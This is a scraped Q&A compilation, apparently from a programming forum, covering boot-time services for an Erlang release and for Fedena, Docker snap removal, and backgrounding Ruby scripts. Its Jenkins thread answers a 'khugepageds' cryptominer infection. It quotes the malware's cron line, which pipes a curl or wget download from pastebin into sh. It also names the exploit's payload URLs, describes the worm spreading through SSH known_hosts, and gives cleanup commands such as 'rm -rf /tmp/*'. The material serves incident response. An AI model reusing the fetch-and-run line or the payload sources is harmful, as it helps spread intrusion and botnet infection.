Starting Erlang service at boot time (using Relx for creating release) - erlang

I have a server written in Erlang, compiled with Rebar, and I make a release with Relx. Starts nicely with
/root/rel/share3/bin/share3 start
The next step is to start when the server boots.
I have tried different approaches, the last one is using the /etc/init.d/skeleton where I changed the following
NAME=share3
DAEMON=/root/rel/share3/bin/share3
DAEMON_ARGS="$1"
After that, I run update-rc.d, but I have not gotten it too work. (Ubuntu 14.04)
The service runs until the machine reboots, and I need to login and start it again.
For Windows, it is really elegant, since it can create the Windows service.

Ubuntu uses upstart as init system, so you could try something like that:
description "Start my awesome service"
start on runlevel [2345]
stop on runlevel [!2345]
respawn
exec /root/rel/share3/bin/share3
You have to place this script in /etc/init/ directory with '.conf' extension like '/etc/init/share3.coinf'. To start it invoke sudo start share3.

At last, I solved it!
I have told to relx to place the result at /home/mattias/rel. The script from relx is /home/mattias/rel/share3/bin/share3
Replace the row
SCRIPT_DIR="$(dirname "$0")"
by (you need to fix the path /home/mattias/rel)
HOME=/home/mattias
export HOME
SCRIPT_DIR="/home/mattias/rel/share3/bin"
Copy the file to /etc/init.d/share3 using
sudo cp ~/rel/share3/bin/share3 /etc/init.d/
Test that it works using
/etc/init.d/share3 start
and
/etc/init.d/share3 stop
In order to make it start at boot, install sysv-rc-conf
sudo apt-get install sysv-rc-conf
Enable boot at start using
sudo sysv-rc-conf share3 on
and disable
sudo sysv-rc-conf share3 off
Alternatives are welcome.

Related

How to remove a snap application (docker) completely

I made the mistake of installing Docker via Snap... Once I realised that snap hadn't permissions to run in my working directory (on a different partition), I removed it. Now I can't use docker after I've installed it via apt-get.
Please help.
I've done sudo snap remove docker but when I sudo apt install docker and run via docker, I get bash: /snap/bin/docker: No such file or directory
The command you are looking for is:
sudo apt install docker.io
i.e it's docker.io not just docker
On Ubuntu, the package docker is described as a "System tray for KDE3/GNOME2 applications", which is probably not what you want!
I had the same problem. This works for me.
sudo snap remove docker
sudo reboot
the point is to restart the instance or terminal.
I hope this method can help
I did the same and just restarting the instance fixed it.
The problem is simply that your bash shell caches the locations of known executables, in order to avoid having to scan through your executables search path (that is, the directories listed in $PATH) every time you type a command. Because you have removed the executable from one directory (/snap/bin) and added it to another directory (/usr/bin), this cache is now out of date. This means that it will look in the wrong location if you try to invoke the executable simply by typing docker rather than its full path.
It is possible to fix it simply by starting a new bash shell, for example open a new terminal window and type the command in there.
Alternatively if you wish to refresh the cache in the terminal session that you are already using, type:
hash -r
It is not necessary to restart your computer (although this would also work).

Jenkins High CPU Usage Khugepageds

So the picture above shows a command khugepageds that is using 98 to 100 % of CPU at times.
I tried finding how does jenkins use this command or what to do about it but was not successful.
I did the following
pkill jenkins
service jenkins stop
service jenkins start
When i pkill ofcourse the usage goes down but once restart its back up again.
Anyone had this issue before?
So, we just had this happen to us. As per the other answers, and some digging of our own, we were able to kill to process (and keep it killed) by running the following command...
rm -rf /tmp/*; crontab -r -u jenkins; kill -9 PID_OF_khugepageds; crontab -r -u jenkins; rm -rf /tmp/*; reboot -h now;
Make sure to replace PID_OF_khugepageds with the PID on your machine. It will also clear the crontab entry. Run this all as one command so that the process won't resurrect itself. The machine will reboot per the last command.
NOTE: While the command above should kill the process, you will probably want to roll/regenerate your SSH keys (on the Jenkins machine, BitBucket/GitHub etc., and any other machines that Jenkins had access to) and perhaps even spin up a new Jenkins instance (if you have that option).
Yes, we were also hit by this vulnerability, thanks to pittss's we were able to detect a bit more about that.
You should check the /var/logs/syslogs for the curl pastebin script which seems to start a corn process on the system, it will try to again escalated access to /tmp folder and install unwanted packages/script.
You should remove everything from the /tmp folder, stop jenkins, check cron process and remove the ones that seem suspicious, restart the VM.
Since the above vulnerability adds unwanted executable at /tmp foler and it tries to access the VM via ssh.
This vulnerability also added a cron process on your system beware to remove that as well.
Also check the ~/.ssh folder for known_hosts and authorized_keys for any suspicious ssh public keys. The attacker can add their ssh keys to get access to your system.
Hope this helps.
This is a Confluence vulnerability https://nvd.nist.gov/vuln/detail/CVE-2019-3396 published on 25 Mar 2019. It allows remote attackers to achieve path traversal and remote code execution on a Confluence Server or Data Center instance via server-side template injection.
Possible solution
Do not run Confluence as root!
Stop botnet agent: kill -9 $(cat /tmp/.X11unix); killall -9 khugepageds
Stop Confluence: <confluence_home>/app/bin/stop-confluence.sh
Remove broken crontab: crontab -u <confluence_user> -r
Plug the hole by blocking access to vulnerable path /rest/tinymce/1/macro/preview in frontend server; for nginx it is something like this:
location /rest/tinymce/1/macro/preview {
return 403;
}
Restart Confluence.
The exploit
Contains two parts: shell script from https://pastebin.com/raw/xmxHzu5P and x86_64 Linux binary from http://sowcar.com/t6/696/1554470365x2890174166.jpg
The script first kills all other known trojan/viruses/botnet agents, downloads and spawns the binary from /tmp/kerberods and iterates through /root/.ssh/known_hosts trying to spread itself to nearby machines.
The binary of size 3395072 and date Apr 5 16:19 is packed with the LSD executable packer (http://lsd.dg.com). I haven't still examined what it does. Looks like a botnet controller.
it seem like vulnerability. try look syslog (/var/log/syslog, not jenkinks log) about like this: CRON (jenkins) CMD ((curl -fsSL https://pastebin.com/raw/***||wget -q -O- https://pastebin.com/raw/***)|sh).
If that, try stop jenkins, clear /tmp dir and kill all pids started with jenkins user.
After if cpu usage down, try update to last tls version of jenkins. Next after start jenkins update all plugins in jenkins.
A solution that works, because the cron file just gets recreated is to empty jenkins' cronfile, I also changed the ownership, and also made the file immutable.
This finally stopped this process from kicking in..
In my case this was making builds fail randomly with the following error:
Maven JVM terminated unexpectedly with exit code 137
It took me a while to pay due attention to the Khugepageds process, since every place I read about this error the given solution was to increase memory.
Problem was solved with #HeffZilla solution.

Making Fedena a Windows Service Failed

I successfully installed Fedena on Windows using this tutorial:
http://en.wikibooks.org/wiki/Fedena/Installation
The problem is that each time I start windows, I need to run the command ruby script/server so that I can access the project locally. I tried making Fedena a Windows Service that starts automatically by following the steps mentioned in the tutorial, but it seems that it didn't work.
Making a Windows Service
If you want to run Fedena as a Windows Service (which automatically starts), do the following commands:
Open the Ruby Command prompt and go to your Fedena Installation director //do they mean by this C:/Fedena?
Install a Gem:
gem install win32-service
Install a Gem:
gem install mongrel_service
Run the command:
mongrel_rails service::install -N Fedena -c C:\FEDENA -p 3001 -e production
(Replace C:\FEDENA with whatever your Fedena installation Directory is.) You may also wish to change the port from 3001 to 80 so when entering the address from other computers, it is not required that you enter a port.
Go to windows search at the start menu, type:
services.msc
Look for service named 'Fedena' and set it to automatic
Restart your computer and see if the fedena start automatically. Always make sure that your server is running.
Any ideas what could be the problem?
Right after Fedena is configured, the start of the application is via console which should stay open for all the times if we want the application to be up and running. But quite often will get closed (human error, server down etc) and the application will go down.
The same applies if the server is rebooted/bounced and all over again.
So here is the solution if you don't want to go over this hassle:
Download http://nssm.cc/download/?page=download
Unpack it (lets say C:\NSSM)
Create a batch file ( lets say C:\Fedena\StartFedena.bat)
Edit the batch file ( right click on the bat file and click Edit)
Past the following code (change the paths accordingly)
********************************** (without the stars and this comment)
cd \
cd Fedena
mongrel_rails start -e production
Note: If you want to start it as development mode remove -e production from the last line
Open CMD
Type cd\
Type cd NSSM
depending on the system type: "cd win32" ot "cd win64"
9.Type in the cmd : "nssm install"
A modal window will pop-up
Click Browse
Navigate to the location where the batch file is and select it;
Leave options empty
Service name "Fedena"
Install Service
Go to "Services" (usually under Control Panel\System and Security\Administrative Tools)
Start Services
You should find service named "Fedena"
Start Service
Navigate to http://example.com:3000 and Fedena should be up
The service should be already set as automatic so if the server is restarted Fedena will come up automatically.
If you need to bounce the application just restart the Fedena Service.
That is,
Thank you

Start god process on server startup (Ubuntu)

I'm currently struggling with executing a simple command which I know works when I run it manually when logged in as either root or non-root user:
god -c path/to/app/queue_worker.god
I'm trying to run this when the server starts (I'm running Ubuntu 12.04), and I've investigated adding it to /etc/rc.local just to see if it runs. I know I can add it to /etc/init.d and then use update-rc.d but as far as I understand it's basically the same thing.
My question is how I run this command after everything has booted up as clean as possible without any fuzz.
Im probably missing something in the lifecycle of how everything's initialized, but then I gladly encourage some education! Are there alternative ways or places of putting this command?
Thanks!
You could write a bash script to determine when Apache has started and then set it to run as a cron job at a set interval...
if [ "$(pidof apache)" ]
then
# process was found
else
# process not found
fi
Of course then you'll have a useless cron job running all the time, and you'll have to somehow flip a switch once it's run once so it doesn't run again.. This should give you an idea to start from..

Run ruby script in background without using screen

I have a two scripts in the Rails environment which have to run 24/7. I'm working on a remote server, so I need to start the scripts using ssh, which means I need to keep the ssh windows open all the time.
I'm searching for a simple way to run these scripts in the background so they aren't canceled as soon as I close the ssh connection.
I don't want to use screen. I think there must be simpler way to handle this. Isn't there?
I think the most basic solution would be nohup:
nohup myscript &> /dev/null &
You can disown a script:
ruby script.rb &!
STDOUT/STDERR are still attached to the current shell, but the ruby process isn't a child of the shell anymore, so it won't get killed if you close the terminal.
Check Daemons. It's a toolkit for converting a script to a controllable daemon.
You can use
runit
supervisord
For daemonizing
Or some ruby stuff: https://www.ruby-toolbox.com/#Background_Processing for background processing

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